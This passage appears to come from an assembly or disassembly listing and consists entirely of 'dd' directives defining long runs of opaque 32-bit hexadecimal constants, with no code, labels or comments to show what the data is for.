		dd 94366292h, 3DA62639h, 0ED9ED369h, 65B23B5Dh,	0EB119D66h
		dd 207462C0h, 24269DB4h, 14964178h, 2F2F2D68h, 0F68B6361h
		dd 0AF5ED4A8h, 0FF5A0B19h, 0B7F0C5Ch, 3E093897h, 2E89801Ch
		dd 144F0472h, 0C88BC075h, 0CEDA3478h, 0C5F12BF7h, 0A933F1EBh
		dd 72157C25h, 0BE291847h, 1CB8731Fh, 782EF712h,	0AF612A60h
		dd 66A55DC7h, 7D2CA662h, 45E2AAD1h, 87FCB93Fh, 850DBC32h
		dd 3DC3897Ah, 16A2A6E8h, 0D9E81D1Dh, 0C05A5120h, 0D7D8D873h
		dd 2C9379FFh, 302597B4h, 0B9CAC532h, 2C137A35h,	6AEBD26Bh
		dd 0E4C016C3h, 0A38E17CAh, 57A96920h, 0AA720134h, 0A01E297Ch
		dd 1A2EC5E2h, 6A30CF6Ah, 3B82974h, 0FEE0DF3h, 0D0B103Ch
		dd 2BDF2Eh, 0F2732228h,	49124116h, 0AA1EA310h, 19E81B8Dh
		dd 42AE07E3h, 0EF33406h, 3B00101h, 0E43D05EAh, 0CB260B06h
		dd 411B6E24h, 19071854h, 180E3756h, 102C184Ah, 2E301260h
		dd 352BCC32h, 39273729h, 3D233B25h, 1C043F21h, 3FE01E02h
		dd 3B233D21h, 27272925h, 232B2529h, 0CF2F212Dh,	343C323Eh
		dd 3838363Ah, 3C343A36h, 1B303E32h, 101E12E3h, 2C222E20h
		dd 28262A24h, 242A2628h, 1055D22Ch, 2338043Ah, 37463F00h
		dd 3B353327h, 373E94F0h, 28ED1A90h, 0E6704015h,	0B62C2D93h
		dd 2B6FEF2Eh, 2A2D2A31h, 0A5202771h, 3588343Bh,	6C349966h
		dd 3A3D7FB0h, 1DE3E402h
		dd 2127631Ch, 0E5167E7Ch, 1AEB7E7Dh, 2E55E22Ah,	59645B3Eh
		dd 0E357340h, 3D38F7B5h, 0B838F8B9h, 1CC04BC8h,	0F76BE198h
		dd 0DE20D022h, 3ACF7165h, 0EC5F2929h, 55AF003Bh, 19135749h
		dd 2435165Ch, 563A3A39h, 0CD73F3Dh, 6A1D1D1Ch, 22CAE221h
		dd 86A72124h, 19A12E29h, 4F70EB17h, 0B9F3A53Fh,	3A2F3EF5h
		dd 0FB7F6A34h, 50FE6A1Fh, 9F9DF40Fh, 7511D889h,	249649CBh
		dd 0A17A6885h, 797D2CE5h, 0CC8F47C7h, 0F63063CCh, 3FB96F90h
		dd 0D625B56Ch, 1A9D7A70h, 66C84826h, 976422E3h,	0F8282403h
		dd 2F7E292Ah, 505F2F62h, 575D7F56h, 0BB795644h,	6A3F9F2Dh
		dd 7418564Ch, 0F51E1A1Dh, 41773520h, 775648h, 2C435E48h
		dd 37AE5F23h, 4773537Dh, 4A457341h, 4FBC3A56h, 7438BC1Ch
		dd 1D727C7Fh, 23572362h, 27366826h, 99A8C12Ch, 0E826C51Fh
		dd 0C3D20936h, 71F13536h, 0FD3E3929h, 3F1E96BAh, 40DB971Fh
		dd 0E6A2753Dh, 0B6E6345Bh, 2C562823h, 280D2C20h, 0C51730C7h
		dd 72C3CBCDh, 3BB93013h, 0D66B354Fh, 0C00F55C2h, 0E324DF7Fh
		dd 35C52326h, 0CC8DE2Dh, 0E21F27D0h, 35740E2Fh,	3DB0BE12h
		dd 0DC003B36h, 0FCF4B0C7h, 0DD0CBFDFh, 0E81417F5h, 744102AAh
		dd 0E914E926h, 6C076D6Bh, 0DA276A39h, 2073968Fh, 0DBF62ADDh
		dd 2B9B3EBBh, 28FE3DE2h, 1D0DD9C5h, 2126E118h, 0A8295A1Eh
		dd 0B29F42Dh, 7D8D9C65h, 4750015Fh, 5A36455Bh, 2B315DD5h
		dd 3DA93B53h, 941F8F4Fh, 21262F8Ch, 2126232Ch, 584A4D74h
		dd 0E4D584Eh, 42505578h, 6AB40893h, 736EC060h, 51500972h
		dd 0BD1EE738h, 1623EEBCh, 0A45E2022h, 29201F25h, 2EADA329h
		dd 0A7332F17h, 0F37B213h, 0F89C3436h, 93C003Bh,	1DDB8D3Dh
		dd 0A0631F24h, 4D2ACA51h, 8E875A21h, 2C805629h,	86532F2Ch
		dd 3432F30Ah, 39F7F749h, 4B3BBCBBh, 5FAA340Dh, 3AE1ED16h
		dd 0C721E3C8h, 67772276h, 3B2B2915h, 7E0E2F2Ch,	27406138h
		dd 37F4DCB5h, 0BE3A6B15h, 3E9D3C3Eh, 0D636F068h, 0A721E494h
		dd 0ADC4AF22h, 8269A32Fh, 0BEEE7C2Fh, 3623D025h, 9C3566EFh
		dd 0EE396AEFh, 6CED3C69h, 348D73Fh, 0C6F1CAEh, 0D48F532Fh
		dd 212B976Eh, 0C33BDB7Bh, 6D5057A8h, 0BD6B0871h, 3AD83AA0h
		dd 0EA2BFBC5h, 134CB03Ch, 2F1F111Dh, 84232D21h,	0A3230660h
		dd 3DBAA339h, 303FA526h, 3BCCC8B2h, 0B9BFF6A0h,	48235BB6h
		dd 4F333122h, 944C3538h, 0ECE0C9EEh, 63E12E64h,	215A250Ch
		dd 7CC2E7Ch, 0DB303264h, 0A6356527h, 133B3D3Fh,	3C3CD53Dh
		dd 1F1E0C1Ah, 0D365C81Ch, 0AA2D24F8h, 39C84403h, 70726CEDh
		dd 3FB85472h, 0CFF120D3h, 0AAFA38C6h, 2B312B94h, 1D1A5B0Bh
		dd 493A6A24h, 2503AF32h, 26293606h, 0AD306EA1h,	0B8706F3Eh
		dd 5ADD2F77h, 0A1FE2776h, 0FD3D2E7Fh, 2F0C3D00h, 8A17DEDDh
		dd 702B0215h, 481F26C5h, 2CCB1EE6h, 0B07E12B9h,	77B37631h
		dd 2A776667h, 0BF605A5Bh, 1FFD4AF9h, 0A0E11C1Ch, 2C222E54h
		dd 28262A24h, 242A2628h, 0D02E222Ch, 333D313Fh,	3739353Bh
		dd 3B353937h, 3F313D33h, 111D13E4h, 2D212F1Fh, 29252B23h
		dd 25292727h, 2E22AD2Bh, 27BA61E3h, 10654EAEh, 0C5066E17h
		dd 0FE3E3C04h, 751D1B3Eh, 112C1C1Eh, 1573136Dh,	19DF179Bh
		dd 1C2A1BD7h, 191E0Fh, 4420206h, 889064Ah, 0F5B0A8Ch, 2E6D0D53h
		dd 12862C8Ch, 16C51085h, 1B0F14C9h, 1FDB198Ah, 4A61A12h
		dd 12E06E3h, 0B632035Bh, 0AC163F18h, 13C7772Ch,	0FE05C2EBh
		dd 0FCD51139h, 7616014Eh, 0FED50C88h, 0F41C3CFCh, 4DCDB478h
		dd 2F427F64h, 0BB0A30D8h, 0F96C0D56h, 8C651D1Bh, 0E1DF201Eh
		dd 1DEE9A2Ch, 0CE4754E8h, 3CDC39BBh, 0D3DA522Fh, 37778406h
		dd 0F3879F7h, 0E6973D79h, 1A361A7Eh, 2067001Ah,	17284236h
		dd 0E52445A6h, 0EC20589Ch, 7450C142h, 0D7D25EF1h, 0E7D1EB36h
		dd 87843BDAh, 8A1DFDE6h, 0A0FD18D3h, 0C0952425h, 0CC890C25h
		dd 242F8C29h, 28272FB3h, 0B4D7F725h, 93C4C237h,	0FD2F2379h
		dd 593C3E75h, 2D0F1DC5h, 4B746304h, 0E61CA77Ch,	0E2B298Dh
		dd 0ED0A796Eh, 3B224520h, 0BBCCDCF0h, 0FF3B3A38h, 0B42E337Ch
		dd 0DE195D36h, 26A5E64Eh, 942425CBh, 0A7E93D63h, 467F4575h
		dd 23F1F163h, 7EDD357Fh, 0CA2A7868h, 5B5D0D23h,	0DD27F373h
		dd 653AFF1Eh, 7AE2A3A9h, 0A04C7C78h, 0D1324B27h, 68296BEAh
		dd 353B035Dh, 39373739h, 32333B35h, 131B303Eh, 0E227761Dh
		dd 35DCDC4Bh, 0C0321DF7h, 0EB03CAAAh, 0B10BEA2Bh, 75DA2E31h
		dd 6C56CE35h, 3CBA963Bh, 1A1A349Eh, 1E382D6Eh, 2E2741D8h
		dd 260425A5h, 2A0F8E48h, 2E1B2D8Ch, 32066ED4h, 3436B4A8h
		dd 3A19226Bh, 3D3E8A48h, 5A42249Bh, 28A1211Fh, 0E65244Ch
		dd 2A2BB826h, 5A2CAC29h, 0F20E4A2Dh, 5C213133h,	29387A21h
		dd 0B3343F7Bh, 95389BABh, 324A1C1Eh, 73FA370h, 0E3F67F2h
		dd 0DEE20C2h, 0F9BAA44Ah, 75443772h, 11D01F32h,	12C2272h
		dd 9C8DD76Eh, 0CC99931Eh, 26232D61h, 2877E8AEh,	0E5AEA620h
		dd 0BBAB3859h, 0B1325324h, 983B42E7h, 0B6333A2Dh, 9F341A79h
		dd 143A69DCh, 0A264317Fh, 0E42164E0h, 8ABE0FA3h, 97295D01h
		dd 832D1ECh, 304825E4h,	3A2EBDB1h, 37B5686Fh, 0BC0138B7h
		dd 23DCA31Fh, 9B20A05Eh, 6AE9EC07h, 71D2D18Eh, 0F716D71h
		dd 326E4613h, 6EFA10ACh, 153D03BFh, 0F11C9A3Fh,	23201C26h
		dd 2700A7A9h, 7C29A71Ah, 2D2D957Ch, 0A530082Dh,	0A7B0A073h
		dd 0A3B8F705h, 3D355D36h, 1C19330Dh, 466B6BB9h,	406E86AAh
		dd 273922A5h, 0EF8CA697h, 0F9322E3Eh, 7483D922h, 3C358256h
		dd 2DBB3E57h, 5D3549BCh, 18515EB0h, 2323BA66h, 0B7A0AF20h
		dd 0EBAE2A28h, 0A1AB222Ch, 5DBF3230h, 0FABD0551h, 5BBA78D0h
		dd 576E4EFCh, 1E23E877h, 0EC45E029h, 266558A3h,	0EADA325h
		dd 7B2D4C5Fh, 0BB66666Fh, 0E6451077h, 0EA38BC37h, 80C20F3Bh
		dd 261F1B3Eh, 5DA9D81Eh, 3F502F06h, 6BBC25ABh, 960A62Bh
		dd 31F2AC5Ah, 7335BA36h, 0B23CF6B5h, 0FA07391Ah, 1D3BCE4Bh
		dd 5C1F970Dh, 3C075295h, 10037AADh, 3B2B80C1h, 5A78D1D2h
		dd 342E5814h, 74BA155Fh, 1951121Dh, 3DD76F3Dh, 9CE1E203h
		dd 0A83A21E4h, 362E3ECh, 0C32A3710h, 0D0D1306Ah, 0B30E5960h
		dd 36367145h, 3A1860D0h, 3F362B54h, 73E91FBFh, 8A135A1Dh
		dd 84161670h, 7CC03C23h, 0AE2E1C7Ch, 1E998C27h,	0BD0F5488h
		dd 971B35E1h, 0AF3434EFh, 1B7CFE32h, 74FA24CEh,	0C48828F5h
		dd 0A02B6336h, 819E2868h, 3B336B9Bh, 77873073h,	9132A735h
		dd 0E90F445Bh, 0CC0BCC3Ah, 20263D16h, 1DA71B5Dh, 11B31FA9h
		dd 8812B629h, 84168214h, 0D8F9208h, 38C30FEDh, 9D5B3E74h
		dd 7052AB5h, 2532BC3Ch,	0AB82C114h, 876A1F60h, 4F107588h
		dd 5B068D4Ch, 93124D0Ah, 0AB9615B8h, 19EB902h, 58A0790h
		dd 0CA8DFCA7h, 4D20BF66h, 12454303h, 0BB2A1724h, 31585D2Ah
		dd 46583097h, 160B0A13h, 5B395455h, 4A454815h, 1D3A3D1Fh
		dd 5154793Eh, 405C460Ch, 470507A6h, 175F060Ah, 1430EF26h
		dd 353E1141h, 39D9E307h, 13393B79h, 0BA7B7E01h,	0C84E2F6Ch
		dd 272D223Eh, 6A7E1565h, 948128F2h, 0B3E3E22Dh,	0BF6512DDh
		dd 10133641h, 0FB6CCCBCh, 133F1A79h, 9B11191Ch,	232121D0h
		dd 0E7A323AFh, 2BCCAD27h, 0D7AD2E2Ch, 652844CFh, 175735DCh
		dd 0FFB9C6C5h, 3CBEB438h, 4042CB30h, 2143E21Ch,	0CD2B72FEh
		dd 247BA8C7h
		dd 0CF25280Bh, 0AA1CD07Ch, 367DDC3Fh, 0F414D924h, 4910DD44h
		dd 26A812DFh, 0A18B155Ch, 0C73C9026h, 89293758h, 2559DA53h
		dd 0F1037171h, 7322F073h, 0C125BC3Fh, 3F3E209Ah, 14303F35h
		dd 2B0ADB7Ah, 0CC34AA2Ah, 2A316614h, 0D35BA9BFh, 34235BD2h
		dd 0F02E3006h, 0C737B339h, 0FAD2264Ch, 42C0C1C3h, 1A288450h
		dd 37A6B862h, 7AA5247Ah, 0A9C7EA2Eh, 0C3AD2D11h, 0B765673Ch
		dd 6DF649BFh, 0F7F36C7h, 3F3131F3h, 0F296BFD1h,	0A9A2601Eh
		dd 71732C66h, 1A2BA377h, 7EA67C1Bh, 0CE44B927h,	0C278BD33h
		dd 0C5C16DBEh, 34CCFF2Eh, 4D4A0B2Dh, 528023F6h,	5356F22h
		dd 15EEA43Ch, 0C57A304Ah, 0E163ADE5h, 0B6C84E94h, 275F23F2h
		dd 7E2B7C77h, 0DFB7DF1h, 31FA751Ch, 4946A272h, 474F5644h
		dd 6E474B5Bh, 5C07AEEEh, 0B3405354h, 3ABB3637h,	7D3CDB62h
		dd 7F507DBBh, 7CD82BDAh, 0AD003361h, 46422724h,	5C3C2829h
		dd 3F2F148Ch, 72575538h, 0B7CB3437h, 3B2EB905h,	3F24BD3Dh
		dd 9FBD1E10h, 0E1B52F0Ah, 66A3B8CBh, 0F1ADD7DAh, 5A8605Fh
		dd 761578A3h, 371EB432h, 0D2123B66h, 193D3935h,	59D3F3Dh
		dd 0AD0CF70Fh, 75DBDE22h, 0F22032D9h, 0AE2D7B28h, 20B02BEAh
		dd 0B638B372h, 394C36CDh, 48E7BE3Eh, 62966850h,	0C848323Dh
		dd 33AF1250h, 2067AF11h, 0A51B6CA2h, 0B382F73h,	0B537D23Ah
		dd 2FA96522h, 22FFD26Eh, 0D528BCB4h, 48099F37h,	22C295C8h
		dd 7C57619Dh, 0F4A90DEBh, 0A2010339h, 42095130h, 460BEE09h
		dd 4B04CB06h, 3F01F403h, 1E1FEC1Ah, 2121AC1Eh, 173C1405h
		dd 1BF01912h, 1C5A1DDEh, 1B20355h, 582079Bh, 9F60B88h
		dd 0A9C0FD6h, 28382FEFh, 14422A2Ch, 10A21648h, 1CB612AAh
		dd 18F51E8Eh, 0EA32190Ch, 785B5E2h, 2050679Eh, 879F3982h
		dd 1EAF543Ch, 22AF8C97h, 740552F9h, 2A9F8D4Dh, 2E91502Bh
		dd 30996E6Fh, 0BFCCCDB8h, 0C7F6B73Dh, 3E3B3B39h, 0E4B391D5h
		dd 774E1DE3h, 236655EFh, 1229C25h, 0C30229A5h, 76FA77Dh
		dd 333D2DCFh, 5996353Ah, 0D36038D8h, 2317F217h,	9C1D35DAh
		dd 0A9C90CEEh, 3F952D03h, 0AB7EA82Bh, 2F4C6BEFh, 201438AEh
		dd 26A6B13Ch, 3CBB5236h, 0C6BE6C9Ch, 0AC9A92C0h, 34551B39h
		dd 54F52D72h, 5177D8D8h, 7501974h, 0C1B41452h, 0E74A77Ch
		dd 29C0CAAh, 81602B96h,	8EDF047Ah, 3824C236h, 616B5981h
		dd 85F5CC5h, 8817B653h,	249B055Dh, 4D938E0Dh, 0C44E16D9h
		dd 0CC8A3E05h, 33022A45h, 346E3663h, 7608FE88h,	156E0FFCh
		dd 7C0AA902h, 2E2E2D44h, 0BE303131h, 33607143h,	2B3A1FD0h
		dd 0BC32F9BFh, 6BE21CE3h, 76AD4807h, 27252467h,	0F0453DD8h
		dd 2EAE2D29h, 0F20234EBh, 6D686A6Ch, 32FDBB37h,	0FBB99DF8h
		dd 961D0B3Dh, 36219F03h, 2D5A22DAh, 0C1298632h,	0EA222B21h
		dd 0CEB6252Eh, 23343332h, 1FC2DF22h, 493C0738h,	0AC466161h
		dd 207B451Ch, 20232FA8h, 0EA57E2A6h, 2D2B2E79h,	0FC2F27BDh
		dd 345932DDh, 0B7CF5ECAh, 583A3A7Ah, 1F3F9FBDh,	3A97794Ch
		dd 0CF62ABA0h, 2010766Ch, 2B64606Ah, 2F7D687Eh,	585C4432h
		dd 40595B34h, 723F3956h, 585FBD51h, 6A7C4C7Eh, 22AEA077h
		dd 6371777Ah, 5F6A746Ah, 8E5F5E27h, 462AF036h, 6595B41h
		dd 664D5D64h, 6A6C7AEEh, 78984837h, 715F8E5Ah, 0F3244A50h
		dd 0D928A67Eh, 2D584838h, 91305E45h, 45479D05h,	493E5536h
		dd 3B59CB1Eh, 0B61D5E9Eh, 961F5FB6h, 0A1E221D4h, 28A6EA25h
		dd 0FB3F8A9Ch, 0B1CD2F28h, 0D90EF231h, 0C0913641h, 1FB3A48h
		dd 193BBD3Eh, 4A1E9C12h, 0A3BF1CF0h, 0E6BFF957h, 29EB1F2Ah
		dd 0E61DA999h, 72563572h, 8E02B630h, 0A9983D3Ah, 0D73C3939h
		dd 0DE191EB2h, 21F9241Ah, 2225BDCBh, 7BA905E4h,	2D704D77h
		dd 18F13022h, 0C89556DBh, 3C85FFC8h, 0B829B86Bh, 1C08082Dh
		dd 7E242D12h, 0D5A16FAFh, 2E2069D2h, 6BDCE10Bh,	0BA2435FEh
		dd 34E718E2h, 0EE033466h, 11B17449h, 181B3F83h,	71341290h
		dd 0A42A7171h, 5B42C920h, 550F7E2Fh, 0BB332E95h, 0FF1860F9h
		dd 3A37CFF4h, 0F2B0C312h, 1BD76E6Ah, 4F4C6B62h,	0A2F54FC8h
		dd 20623503h, 26C27898h, 2B6EEFFFh, 15325916h, 37D3DC84h
		dd 0FB1F3D3Bh, 17FF5502h, 5A209C34h, 226F200Ah,	3224DC26h
		dd 0EBC86823h, 1EA8204Bh, 721D316Bh, 0EE215437h, 1A3A3887h
		dd 2C29FC3Fh, 0B71E08DFh, 0DD229D8Eh, 0A7A121A3h, 2BA9EB24h
		dd 2FAE5180h, 5E32AEB2h, 0B4B031B0h, 0BB5C9D34h, 3FBDDF38h
		dd 3019BD67h, 6EB50D1Ch, 0A57F20A3h, 2AA56527h,	8629AB5Dh
		dd 5C2DAC15h, 0B61E38F0h, 3D767237h, 3EB91893h,	1C639F89h
		dd 193C0A51h, 6E3D6C3Fh, 74E6823h, 6624EDC0h, 21316D2Fh
		dd 0DCC4FA7Dh, 7A30782Bh, 249799AFh, 20732271h,	5308A156h
		dd 3D9CC13Fh, 16683B6Eh, 769202Bh, 7F7D28CBh, 3E51CEC7h
		dd 17B119F2h, 69E86D76h, 0C9D26B6Dh, 16DE38EFh,	21741FDBh
		dd 0A8E12012h, 0EF0226AAh, 0A66BAC2Ah, 25D8EEEFh, 39D533F3h
		dd 0FE3BF63Dh, 0B63CF3B1h, 3FCAC8D6h, 24F03DD6h, 23EF2Ah
		dd 0A3EA2511h, 0B8A62AC1h, 693D27h, 0FE33B999h,	0F938DFF4h
		dd 0B73B2BDBh, 4DB45E73h, 1F609040h, 7173711Bh,	79ABEAAFh
		dd 45A73868h, 1FC4C50Ah, 0B822617Ch, 46D4DDFFh,	752E5138h
		dd 0CE186D1Bh, 94312C55h, 72717091h, 36A326A9h,	42787877h
		dd 33CCB0EEh, 0C21123DFh, 0D6FD9415h, 2E092819h, 1C2BD434h
		dd 998DE3Bh, 5C8130Eh, 0AC2124E0h, 5DC03632h, 0C0CEB61h
		dd 0BCD43D2Fh, 2756E7DAh, 3D1DA6C9h, 9FDCD329h,	18230E28h
		dd 0C80B4E1Fh, 2622838Bh, 3D252367h, 2E8FC20Dh,	3416032Fh
		dd 0BEDB2433h, 0D9AA5470h, 0D7003B39h, 3F3F52B4h, 9C1B690Ch
		dd 2957DEDDh, 1FBF2563h, 0D47A86A9h, 2FAD6D39h,	0BA231B2h
		dd 9723CA65h, 343A3C38h, 0B4347583h, 1C96104Bh,	327CA0DEh
		dd 0CFE416A8h, 8FDA2825h, 0CFAEE4A0h, 9635C32Ch, 9F73B4B8h
		dd 0B172E6F8h, 0D5FC7CE1h, 16FEDA2Ah, 61F842FEh, 0F417F0A9h
		dd 512AF715h, 9667234Ah, 2114AED8h, 3424D4F3h, 3AC30996h
		dd 0B6C608E9h, 0F42837D1h, 0AD4C3E1Eh, 4530B8Dh, 0A3999999h
		dd 0C125CBE4h, 5AAD6F24h, 34C23161h, 933636D0h,	6A696FCBh
		dd 0D334CE6h, 6D2F5CCEh, 0A16E731Dh, 760DA27Ah,	1C1B6B28h
		dd 0EE747BD1h, 50504351h, 45C80606h, 387050AFh,	8DCA3D6Dh
		dd 3E2EA354h, 0A308FA1Dh, 0D7CA6148h, 3C0BC827h, 0DC66A930h
		dd 0F2B44233h, 0BD3E3447h, 68291C63h, 67F29C4h,	154AAB3Eh
		dd 91205B93h, 9526A2AEh, 0D6CAC76h, 752F7A3Eh, 30607D2Ah
		dd 0BE08466Ah, 0B2B8CB60h, 2BC81F86h, 541F3D3Eh, 484D4F1Dh
		dd 24671F7Dh, 67AA2624h, 0E4D8C240h, 262FD1D1h,	4C3FF274h
		dd 0D3663E34h, 142B3A34h, 0DA3DBE6Eh, 1D4E4F1Dh, 4231107h
		dd 7B02F9A0h, 1F8B0ECBh, 0EDA2A88Dh, 303D52Eh, 2112B1BDh
		dd 135B7EFBh, 8316D1BDh, 1A1D1F1Bh, 0AB2360A1h,	0E401809Fh
		dd 49028E7h, 0CA7C20ABh, 3B311E2Ch, 457524F2h, 4F567E17h
		dd 5A4EFD55h, 41191BDFh, 20851C1Eh, 57045820h, 29027B26h
		dd 5549772Eh, 5E5CCF5Eh, 37465640h, 19B4577Fh, 0DC1C2966h
		dd 0FD781AB0h, 4F6D4E92h, 57464121h, 66151556h,	2C633A4Ch
		dd 742FFE20h, 0C133721h, 1946DE67h, 7D37BB3Ch, 79D73A3Eh
		dd 4F13CD84h, 3AF00981h, 88B38C1h, 3DCA3C38h, 294E28A8h
		dd 0DA31E1F8h, 31866E1Ah
		dd 5A6A3DA8h, 163AAF3Ch, 4B0D15D9h, 0E32429D7h,	2FE0772Ah
		dd 0EC1E56Fh, 0DE8C470h, 11E06302h, 0B714045Bh,	0ECC66A35h
		dd 541BFD6Ch, 0F54C030Dh, 90220C24h, 7E7A7C47h,	764DC0DFh
		dd 53C4F974h, 3E22A03Ah, 23A5C32h, 0AA9747A9h, 74744BAFh
		dd 8E6BA31Fh, 508021FAh, 54BC52BEh, 384F56B4h, 0C926A802h
		dd 34FEA237h, 6337E27Ch, 0B02232CAh, 33E03208h,	0B3F97B9h
		dd 1E1EA01Fh, 0FE190C00h, 0AC242559h, 18F9A2C3h, 0F5EEDAECh
		dd 338B335Ah, 77316435h, 3B5A381Ah, 0CC686F6Ch,	3C08E3B0h
		dd 663661FFh, 0E4E50807h, 3283A8BCh, 3EA4EC18h,	6335146Bh
		dd 50393533h, 1E7D78F0h, 3F3D3E33h, 7C0C19FFh, 0DE341FDEh
		dd 29A40F37h, 892C5126h, 7B7E3B40h, 2334AF48h, 21F43B72h
		dd 2CC73336h, 3D3A3B12h, 9F136F56h, 325DE1D5h, 1273A249h
		dd 0A501429Ch, 6DC32A79h, 32E8245Dh, 36F7A738h,	4E35F783h
		dd 4FCF38FBh, 3353CFAh,	4FFE1FD6h, 0CB2AAA1Ah, 25444C77h
		dd 294D5BF8h, 482A7DD9h, 51638C32h, 13F7B436h, 0F9103C09h
		dd 7EB5F3Eh, 1CD7D01Eh,	9928E48Bh, 99994112h, 72189B16h
		dd 1F9797F1h, 86150063h, 7E352C02h, 11870980h, 0F823909h
		dd 1D130040h, 0C2A12EA0h, 0A9BF835h, 96261692h,	231D961Bh
		dd 8F223Fh, 8636CCC9h, 3E280B07h, 3E330A85h, 2DA90E81h
		dd 5ED6E283h, 2F40321Bh, 5D2C7974h, 7B6E0A23h, 0BB6C8659h
		dd 971D201h, 0F82702B5h, 0B70E925Bh, 1C6B133Bh,	0DF19721Ch
		dd 35A9297Eh, 7656E5A9h, 0D0782842h, 0B22F2328h, 0B2317170h
		dd 950BA72h, 0B599D511h, 0C03DC2FFh, 1C1D5618h,	2070184h
		dd 26642723h, 0AA2A31C7h, 4A2526CBh, 11F1DBC7h,	0DE20CB63h
		dd 36A9E035h, 0C1C3BFCBh, 3C395A4Ah, 3C60DB1Bh,	8E55AEA8h
		dd 3961A2ACh, 0EC50432Fh, 15617F2Bh, 7FDED837h,	0AAAC2DE6h
		dd 3CAD672Dh, 0DD2930CEh, 6041D207h, 0E40A322Ch, 29752E18h
		dd 2FABBF38h, 0F8F47773h, 0A57A2821h, 71303934h, 35A33A5Bh
		dd 4F6F0274h, 5B550E1Ch, 31623570h, 0A63F37CCh,	2974EF68h
		dd 2E16E326h, 0C22CD960h, 70368CB4h, 34FA3EEAh,	5D1E3BB7h
		dd 6B6F3C7Eh, 4B014E1Fh, 6961044Dh, 47092874h, 484844h
		dd 38313D22h, 3E323417h, 2A1577E0h, 411C8A77h, 0A4931D3Ah
		dd 7F5F1B62h, 8F132D22h, 6860580Bh, 840F252Ah, 317D5004h
		dd 9F70FC3Ch, 12263319h, 9C217C45h, 58F0073Dh, 81415890h
		dd 772302AAh, 29D834CDh, 0FC365CC2h, 29AFACA2h,	0A43373A0h
		dd 28435135h, 0CBD3694Fh, 0F36A701Eh, 1F9D16F2h, 3D4B008h
		dd 474E62B6h, 0B5B2AE3h, 69E9092Dh, 0B8363128h,	7AA38B0h
		dd 7A57B010h, 3F3A3C83h, 411F5D18h, 5C256624h, 68A8E823h
		dd 0E5C17937h, 7C28A93Ah, 26A7438h, 3509DC60h, 0FCB22C25h
		dd 7F7B2EB9h, 13971638h, 0A501DBFh, 0E52AAAEAh,	2DAA330Ch
		dd 3A2D1528h, 0DA3851A7h, 3336B83Fh, 0D0FC21F4h, 3D97AB84h
		dd 0AA1BDFFBh, 0C4B11EF9h, 24C78421h, 28C3B88Fh, 0A22BCEBFh
		dd 0D4A92EC9h, 0D04D9831h, 38D34035h, 5A3BDE57h, 45B53ED9h
		dd 0FD481DF8h, 6DCB8D20h, 610424C0h, 0C2F629CAh, 972ECD12h
		dd 26D028A0h, 53E4D0C2h, 0ABF93B38h, 20F23D3Ah,	0E11D031Bh
		dd 223E2000h, 263A243Ch, 2A362838h, 2E322C34h, 2D312F20h
		dd 24352B33h, 52C65237h, 7D8C3C73h, 0BC781A3Fh,	71201B1Eh
		dd 2501AA46h, 6DC4A422h, 4CAD7D1Ah, 113F453Ah, 0BC503132h
		dd 0EA3C373Bh, 30634B78h, 114FC056h, 0A3967EE5h, 2433622Dh
		dd 0BD85CE21h, 8D0D2B88h, 313F414Dh, 35B1A7D9h,	1036B776h
		dd 0BEB3D23Bh, 1ABE663Ch, 6494F51Fh, 0A24F20A2h, 49CE2125h
		dd 0A53A28A9h, 0EE2D2DAEh, 32843431h, 42F2414h,	8AF0A01h
		dd 220D3D8Dh, 70294E2Fh, 1721942Bh, 11711230h, 2A401F7Ah
		dd 961AA11Ch, 406C918h,	88763432h, 0E01C10Fh, 73D4D02h
		dd 24F72291h, 20432536h, 1FF90CA2h, 127D1C3Ch, 0E0172BBAh
		dd 31A29C15h, 0E5A2B931h, 0F6B0BC31h, 3C3CACB2h, 7D50B7D6h
		dd 0C87F160Ah, 0A93093B1h, 46CF586Bh, 5322CAB8h, 6385A3Ah
		dd 23497421h, 2F46F33Ch, 6C241ACBh, 2B8F9DD5h, 2E530A63h
		dd 30E2562Bh, 2FD03251h, 0B0D83E53h, 2F87F8ACh,	33313439h
		dd 1336C58Ch, 69383810h, 323C3D34h, 76161D4Dh, 2228249Fh
		dd 3FB62103h, 922A2826h, 3B28AC8Eh, 0B8612AAEh,	33DD3E34h
		dd 3F499E3Dh, 2619BC31h, 8D161FCEh, 2474151Eh, 24262385h
		dd 21873226h, 2D6A7331h, 0B1C8A429h, 7524F521h,	3A1BB732h
		dd 63FC65D2h, 343B3CFEh, 73F7C696h, 276320A2h, 60CFFE6Dh
		dd 0E3A028A9h, 71102C2Dh, 0B94336F2h, 0BB333549h, 0D4733835h
		dd 1FFDDA4Ah, 6CDF4A44h, 0A4D22352h, 0AB02B13Fh, 2B632A28h
		dd 0A4EEA97Ah, 641845C1h, 0FF23CA34h, 0B03B3BE0h, 6FFA3F01h
		dd 0E1E8761Bh, 42D54AC8h, 0F1DA22AAh, 7A1598AEh, 68EDEA27h
		dd 74B83127h, 776AD73Ah, 3B3B4132h, 5ED63575h, 1A331D10h
		dd 69331839h, 95E836DDh, 6799E020h, 630D6935h, 5E5C6837h
		dd 7A29A350h, 4B5DDF46h, 4E65BA5Bh, 1D95019Bh, 0DB961AE2h
		dd 44A6625h, 5D454F32h,	6A8F4AABh, 5F640E5Fh, 5778D35Ch
		dd 72382833h, 0D3367838h, 5D01C339h, 0E65F5B55h, 782962B8h
		dd 27572422h, 0E229293Eh, 34392D5Dh, 3343D7D0h,	46B2C52Ch
		dd 383A2038h, 3F4ECE76h, 76130802h, 8238D519h, 5E2B344Eh
		dd 24382867h, 3E2D5DA8h, 43EAA121h, 0A93B2433h,	34293846h
		dd 2E3D4D96h, 6CA7AD31h, 0E82E0F1Eh, 86A52353h,	61A5762Dh
		dd 0ADBFC333h, 7CF3241Fh, 0F50D2870h, 4CF8B2A1h, 183CD028h
		dd 1EA23B1Eh, 407D4C1Eh, 3F452442h, 2927E561h, 740F6637h
		dd 699C19C8h, 8BDA3030h, 311B74h, 22E2D24Dh, 16F8DF94h
		dd 2E26155Ch, 1BD71921h, 1E701C26h, 129E1085h, 16E214EAh
		dd 0ACC08C0h, 0D990F3Eh, 1FC038Dh, 5E307F0h, 24F726FFh
		dd 18D91AECh, 1D221F21h, 11311329h, 1564176Fh, 9680B60h
		dd 0D580F50h, 1400344h,	5B60744h, 268520ADh, 0AA0424BEh
		dd 0E63161D2h, 0DF9BE409h, 0AE18AB5Eh, 45311F50h, 625731Ch
		dd 2A5E5697h, 2E1F6C24h, 2CF32C3Dh, 1A0D3DE8h, 7033004h
		dd 67DB2337h, 2C2B270Bh, 32FFC2ACh, 0BF653031h,	0E013822Dh
		dd 3A9B3A49h, 1E4DD66Bh, 9BF62A9Fh, 34224972h, 2FE42DE0h
